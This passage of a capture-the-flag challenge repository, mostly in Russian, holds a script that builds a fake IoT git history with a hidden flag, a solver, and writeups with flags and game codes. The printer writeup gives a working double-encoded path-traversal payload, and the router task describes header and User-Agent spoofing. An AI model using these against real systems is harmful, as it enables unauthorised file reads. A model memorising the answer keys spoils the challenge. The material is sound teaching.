// import jwt from 'jsonwebtoken'; // <redacted>
// import crypto from 'crypto'; // <redacted>
// const JWT_SECRET = process.env.JWT_SECRET; // <redacted>
// const KETTLE_SHARED_KEY = process.env.KETTLE_SHARED_KEY; // <redacted>
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const app = express();
const PORT = process.env.PORT || 5000;
app.use(express.urlencoded({ extended:false }));
app.use(express.json());
app.get('/', (req,res)=> res.redirect('/login'));
app.get('/login', (req,res)=> res.type('text/plain').send('NAS login (public build)'));
app.post('/login', (req,res)=> res.status(501).send('disabled in public build'));
// admin_pass = hashlib.sha1((KETTLE_PROOF + ":" + PRINTER_PROOF).encode()).hexdigest()[:12]
app.get('/internal/hint', (req,res)=>{
// <redacted> internal gateway-only endpoint (requires shared key + route sign)
res.status(403).type('text/plain').send('forbidden (public build)');
});
app.get('/admin/flag', (req,res)=> res.status(404).send('not found'));
const auth = req.headers.authorization || '';
const token = auth.replace(/^Bearer\s+/,'');
try{
const payload = jwt.verify(token, JWT_SECRET, { algorithms:['HS256'] });
if (payload.role !== 'admin') return res.status(403).send('need admin role');
if (payload.kpf !== KETTLE_PROOF) return res.status(403).send('incorrect kpf');
if (payload.aud !== 'nas-admin') return res.status(403).send('bad aud');
const now = Math.floor(Date.now()/1000);
if (!payload.iat || Math.abs(now - payload.iat) > 120) return res.status(403).send('iat too old');
app.listen(PORT, ()=> console.log(`[nas-public] listening on ${PORT}`));
"""
NAS_PKG_PUBLIC = {
"name":"nas-public","version":"0.3.0","type":"module",
"scripts":{"start":"node server.js"},
"dependencies":{"express":"^4.19.2"}
}
def commit(root, message, when, author):
sh(["git","add","-A"], cwd=root)
env = os.environ.copy()
env.update({
"GIT_AUTHOR_NAME": author[0], "GIT_AUTHOR_EMAIL": author[1],
"GIT_COMMITTER_NAME": author[0], "GIT_COMMITTER_EMAIL": author[1],
"GIT_AUTHOR_DATE": when.isoformat(),
"GIT_COMMITTER_DATE": when.isoformat(),
})
sh(["git","commit","-m", message], cwd=root, env=env)
def set_mesh(root, value):
cfgp = os.path.join(root,"router/config/router.json")
with open(cfgp,"r+",encoding="utf-8") as f:
data = json.load(f)
data["mesh"] = value
f.seek(0); json.dump(data, f, indent=2); f.truncate()
def add_vendor_note(root, b64text):
p = os.path.join(root,"router/server.js")
with open(p,"a",encoding="utf-8") as f:
f.write(f"\n// vendor-note: {b64text}\n")
def remove_vendor_note(root):
p = os.path.join(root,"router/server.js")
with open(p,"r",encoding="utf-8") as f:
s = f.read()
s = re.sub(r"\n?//\s*vendor-note:[^\n]*\n?", "\n", s, flags=re.IGNORECASE)
with open(p,"w",encoding="utf-8") as f:
f.write(s)
def add_trailing_space_lines(path):
with open(path, "r", encoding="utf-8") as f:
lines = f.read().splitlines()
with open(path, "w", encoding="utf-8") as f:
for line in lines:
f.write(line.rstrip(" ") + " \n")
def strip_trailing_space_lines(path):
with open(path, "r", encoding="utf-8") as f:
lines = f.read().splitlines()
with open(path, "w", encoding="utf-8") as f:
for line in lines:
f.write(line.rstrip(" ") + "\n")
def snapshot_public_sources(root):
for rel in ("kettle/server.js", "nas/server.js"):
add_trailing_space_lines(os.path.join(root, rel))
def restore_public_sources(root):
for rel in ("kettle/server.js", "nas/server.js"):
strip_trailing_space_lines(os.path.join(root, rel))
def mutate_noise(root, i):
choice = random.choice(["docs","router","printer","kettle","nas"])
if choice == "docs":
p = os.path.join(root,"docs/CHANGELOG.md")
with open(p,"a",encoding="utf-8") as f:
f.write(f"- maintenance {i}\n")
elif choice in ("router","printer","kettle","nas"):
p = os.path.join(root, f"{choice}/server.js") if choice=="router" else os.path.join(root,f"{choice}/server.js")
# лёгкая косметика-комментарий
with open(p,"a",encoding="utf-8") as f:
f.write(f"\n// note: minor tweak {i}\n")
def init_repo(root, primary_author, authors):
if os.path.exists(root):
shutil.rmtree(root)
os.makedirs(root, exist_ok=True)
sh(["git","init","--initial-branch=main"], cwd=root)
write(os.path.join(root,"README.md"), BASE_README)
write(os.path.join(root,"docs/CHANGELOG.md"), "## Changelog (public)\n")
# router
write(os.path.join(root,"router/server.js"), ROUTER_SERVER)
write(os.path.join(root,"router/package.json"), json.dumps(ROUTER_PKG, indent=2, ensure_ascii=False))
write(os.path.join(root,"router/config/router.json"), json.dumps({"vendor":"Orbital Home","mesh":"OH-2194"}, indent=2))
# printer (публичный, безопасный)
write(os.path.join(root,"printer/server.js"), PRINTER_SERVER_PUBLIC)
write(os.path.join(root,"printer/package.json"), json.dumps(PRINTER_PKG_PUBLIC, indent=2, ensure_ascii=False))
write(os.path.join(root,"printer/data/queue/readme.txt"), "public job\n")
# kettle (публичный, урезанный)
write(os.path.join(root,"kettle/server.js"), KETTLE_SERVER_PUBLIC)
write(os.path.join(root,"kettle/package.json"), json.dumps(KETTLE_PKG_PUBLIC, indent=2, ensure_ascii=False))
# nas (публичный, урезанный)
write(os.path.join(root,"nas/server.js"), NAS_SERVER_PUBLIC)
write(os.path.join(root,"nas/package.json"), json.dumps(NAS_PKG_PUBLIC, indent=2, ensure_ascii=False))
commit(root, "init(public): scaffold modules", TIME_START, primary_author)
def build_main(root, authors):
t = TIME_START
for i in range(1, MAIN_COMMITS+1):
t = t + STEP_MAIN + timedelta(minutes=random.randint(0,59))
mutate_noise(root, i)
commit(root, random.choice(NOISE_MESSAGES), t, random.choice(authors))
return t
def merge_noff(root, branch_name, message, when, author):
sh(["git","checkout","main"], cwd=root)
sh(["git","merge","--no-ff", branch_name, "-m", message], cwd=root)
def build_feature_branch(root, name, commits, base_time, authors):
sh(["git","checkout","-b", name], cwd=root)
t = base_time
for i in range(commits):
t = t + STEP_BRANCH + timedelta(minutes=random.randint(0,40))
mutate_noise(root, 5000+i)
commit(root, f"{name}: routine update {i+1}", t, random.choice(authors))
merge_noff(root, name, f"merge: {name}", t + timedelta(minutes=5), random.choice(authors))
sh(["git","branch","-d", name], cwd=root)
def build_secret_branch(root, base_time, authors):
# ответвиться от текущего HEAD main
sh(["git","checkout","-b", BRANCH_SECRET], cwd=root)
t = base_time
# немного шума до секрета
for i in range(2):
t = t + STEP_BRANCH + timedelta(minutes=random.randint(0,30))
mutate_noise(root, 8000+i)
commit(root, random.choice(NOISE_MESSAGES), t, random.choice(authors))
# СЕКРЕТНЫЙ КОММИТ: OH-21B4 + base64-флаг как комментарий в router/server.js
t = t + STEP_BRANCH
set_mesh(root, "OH-21B4")
add_vendor_note(root, FLAG_B64)
snapshot_public_sources(root)
commit(root, "router: set mesh id in config (staging bench)", t, random.choice(authors))
# ещё шум
for i in range(2):
t = t + STEP_BRANCH
mutate_noise(root, 8100+i)
commit(root, random.choice(NOISE_MESSAGES), t, random.choice(authors))
# вернуть прод-значение и удалить комментарий
t = t + STEP_BRANCH
set_mesh(root, "OH-2194")
remove_vendor_note(root)
restore_public_sources(root)
commit(root, "router: revert mesh id to production", t, random.choice(authors))
# финальный шум на ветке
t = t + STEP_BRANCH
mutate_noise(root, 8200)
commit(root, "chore: staging cleanup", t, random.choice(authors))
# squash-merge в main (в main ни OH-21B4, ни vendor-note не попадут)
sh(["git","checkout","main"], cwd=root)
sh(["git","merge","--squash", BRANCH_SECRET], cwd=root)
t = t + STEP_BRANCH
commit(root, f"merge: {BRANCH_SECRET}", t, random.choice(authors))
# Ветку НЕ удаляем — пусть живёт
def tag_releases(root):
sh(["git","tag","-a","v0.2.0","-m","public release 0.2.0"], cwd=root)
sh(["git","tag","-a","v0.3.0","-m","public release 0.3.0"], cwd=root)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--author-name", default=None, help="Primary author name")
parser.add_argument("--author-email", default=None, help="Primary author email")
parser.add_argument("--push", default=None, help="Git remote URL to push (SSH or HTTPS)")
args = parser.parse_args()
primary = (args.author_name or "Your Name", args.author_email or "you@example.com")
authors = [primary] + [a for a in AUTHORS_DEFAULT if a[1] != primary[1]]
random.seed(42)
root = os.path.abspath(REPO_NAME)
init_repo(root, primary, authors)
t_end_main = build_main(root, authors)
# пара симпатичных merge-веток
for name, count in FEATURE_BRANCHES:
build_feature_branch(root, name, count, t_end_main, authors)
t_end_main = t_end_main + timedelta(hours=1)
# секретная ветка
build_secret_branch(root, t_end_main, authors)
tag_releases(root)
print(f"[ok] repo created: {root}")
print("\nПроверка локально:")
print(" cd", REPO_NAME)
print(" git log -S 'OH-21B4' --all --oneline")
print(" git grep -n 'OH-21B4' $(git rev-list --all)")
print(" git show $(git log -S 'OH-21B4' --all -n 1 --pretty=%H) | grep -i 'vendor-note'")
print("\nПуш в GitHub вручную:")
print(" git remote add origin <YOUR_GITHUB_REPO_URL>")
print(" git push -u origin --all --tags")
if args.push:
sh(["git","remote","add","origin", args.push], cwd=root)
sh(["git","push","-u","origin","--all"], cwd=root)
sh(["git","push","origin","--tags"], cwd=root)
print("[ok] pushed to:", args.push)
print("Проверь ветки/теги на GitHub UI.")
if __name__ == "__main__":
main()

92
GAME/osint/solver.py Normal file
View File

@@ -0,0 +1,92 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import base64
import re
import subprocess
from pathlib import Path
def sh(args, cwd=None):
proc = subprocess.run(
args, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
)
if proc.returncode != 0:
err = proc.stderr.strip() or proc.stdout.strip()
cmd = " ".join(args)
raise SystemExit(f"command failed: {cmd}\n{err}")
return proc.stdout.strip()
def default_clone_dir(repo_url, base_dir):
name = repo_url.rstrip("/").split("/")[-1]
if name.endswith(".git"):
name = name[:-4]
return base_dir / (name or "repo")
def commit_candidates(repo_dir):
patterns = ("vendor-note", "OH-21B4")
for pattern in patterns:
out = sh(["git", "log", "-S", pattern, "--all", "--pretty=%H"], cwd=repo_dir)
commits = [line.strip() for line in out.splitlines() if line.strip()]
if commits:
return commits
return []
def find_vendor_note(repo_dir):
for commit in commit_candidates(repo_dir):
try:
src = sh(["git", "show", f"{commit}:router/server.js"], cwd=repo_dir)
except subprocess.CalledProcessError:
continue
match = re.search(r"vendor-note:\s*([A-Za-z0-9+/=]+)", src)
if not match:
continue
b64_note = match.group(1)
flag = base64.b64decode(b64_note).decode("utf-8", "replace")
return commit, b64_note, flag
raise SystemExit("vendor-note not found in history")
def dump_sources(repo_dir, commit):
paths = [
"router/server.js",
"router/config/router.json",
"printer/server.js",
"kettle/server.js",
"nas/server.js",
]
for rel in paths:
content = sh(["git", "show", f"{commit}:{rel}"], cwd=repo_dir)
print(f"\n--- {rel} @ {commit} ---")
print(content.rstrip("\n"))
def main():
parser = argparse.ArgumentParser()
parser.add_argument("repo", help="Git URL or local path")
parser.add_argument("--dest", default=None, help="Clone directory (default: <script_dir>/<repo>)")
args = parser.parse_args()
base_dir = Path(__file__).resolve().parent
clone_dir = Path(args.dest).resolve() if args.dest else default_clone_dir(args.repo, base_dir)
if clone_dir.exists():
print(f"[i] using existing repo: {clone_dir}")
else:
print(f"[i] cloning into: {clone_dir}")
sh(["git", "clone", args.repo, str(clone_dir)])
sh(["git", "fetch", "--all", "--prune"], cwd=clone_dir)
commit, b64_note, flag = find_vendor_note(clone_dir)
print(f"[ok] clone_dir: {clone_dir}")
print(f"[ok] commit: {commit}")
print(f"[ok] vendor_note_b64: {b64_note}")
print(f"[ok] flag: {flag}")
dump_sources(clone_dir, commit)
if __name__ == "__main__":
main()

60
GAME/osint/writeup.md Normal file
View File

@@ -0,0 +1,60 @@
# Writeup: Orbital Home / OH-21B4
## Вводные из игры
Участники получили две зацепки: название производителя `Orbital Home` и параметр `mesh` со значением `OH-21B4` (в легенде мог быть написан как mash/mesh).
## Поиск репозитория
1) По ключу производителя:
- запросы: `"Orbital Home"`, `orbital.home`, `"Orbital Home" iot`.
- подсказка: в коммитах встречаются e-mailы вида `@orbital.home`, что хорошо ищется по GitHub.
2) По связке с mesh:
- запросы: `"OH-21B4" github`, `"mesh" "Orbital Home"`.
В результате находится публичный репозиторий с IoT-модулями (router/printer/kettle/nas). В README он описан как публичная сборка «Orbital Home IoT Suite».
## Что внутри репозитория
- `router/` — сервис роутера и `config/router.json` с полями `vendor` и `mesh`.
- `printer/`, `kettle/`, `nas/` — публичные версии сервисов (функции урезаны, часть эндпоинтов закомментирована).
- История содержит доп. ветку `staging/router-mesh`, где во время стендовых проверок меняли `mesh`.
## Как извлечь артефакт
1) Клонировать репозиторий и посмотреть все ветки:
```bash
git clone <repo-url>
cd <repo>
git branch -a
```
2) Поискать `OH-21B4` по истории всех веток:
```bash
git log --all -S "OH-21B4" --oneline
# или
git grep -n "OH-21B4" $(git rev-list --all)
```
3) Открыть найденный коммит:
```bash
git show <commit>:router/config/router.json
git show <commit>:router/server.js
```
В `router/server.js` обнаруживается строка вида:
```
// vendor-note: <base64>
```
4) Декодировать base64:
```bash
echo <base64> | base64 -d
```
Получаем флаг:
```
caplag{Orb1ta1-h0me-vendor-found-needed-branch-version}
```

39
GAME/printer/WRITEUP.md Normal file
View File

@@ -0,0 +1,39 @@
# Printer — разбор решения
## Разведка
- Главная страница `/` показывает список файлов в очереди печати.
- Роут `/jobs/preview?file=...` отдаёт файл из `data/queue`.
- В очереди есть `readme.txt`, где подсказаны каталоги `/data/notes` и `/data/queue`.
## Уязвимость
В `/jobs/preview` путь для чтения строится так:
1) `once = decodeURIComponent(raw)`
2) Проверка `once.includes('..')`
3) `p = decodeURIComponent(once)` (возможен и третий decode)
4) `path.join(QUEUE_DIR, p)`
Проверка на `..` делается только после первого декодирования. Если закодировать точки дважды, первая проверка их не увидит, а после второго decode появится `..` и сработает обход в `../`.
## Эксплуатация
Дважды кодируем `..` и `/`:
- `..``%2e%2e``%252e%252e`
- `/``%2f``%252f`
Запрос:
```
/jobs/preview?file=%252e%252e%252fnotes%252fflag.txt
```
Промежуточные преобразования:
- после первого decode: `%2e%2e%2fnotes%2fflag.txt` (нет `..`)
- после второго decode: `../notes/flag.txt`
`path.join` формирует путь `data/queue/../notes/flag.txt`, что приводит к чтению флага.
## Результат
Ответ содержит содержимое `flag.txt`, включая флаг:
```
caplag{chain_m_printer_traversa}
PRINTER_PROOF=printer-proof-3d3130
GAME_code=Printer-1s-down-move-next
```

22
GAME/router/README.md Normal file
View File

@@ -0,0 +1,22 @@
TechnicalTroubles | Web | Easy
## Автор
instanc3:@instanc3
## Информация для участников
Опять какие-то неполадки, когда сайт так нужен. Может смогу найти обходной путь, если заглянуть с изнанки.
## Решение
1. Пройти на страницу "Routers"
2. Указываем в поле ввода модель роутера, которую получили из игры. В ответ приходит сообщение, что на сайте технические работы в определенное время.
3. Заходим в инструменты разработчика и наблюдаем, что в запросе имеется кастомный заголовок "X-Send-Time", который содержит текущее время участника.
4. Необходимо указать в этом заголовке время, которое не попадает под время технического обслуживания.
5. После успешного подбора времени придет ответ от сервера, что у нас неверный UserAgent ("Incorrect User-Agent. Hint: SHA256(<BrowserName>/<BVer> (<OSName> <OSVer>; <Arch>) <EngineName>/<EVer>) == {}").
6. Данные для заполнения UserAgent необходимо найти во внутриигровом браузере. Информация расбросана по параметрам системы и браузера.
8. После успешного подбора участник получит флаг и код, который необходимо ввести в игре.
## Флаг
`caplag{4r!eNd_@m0ng_$tranGer$}`
## Код для игры
`SVC-2025-7438382`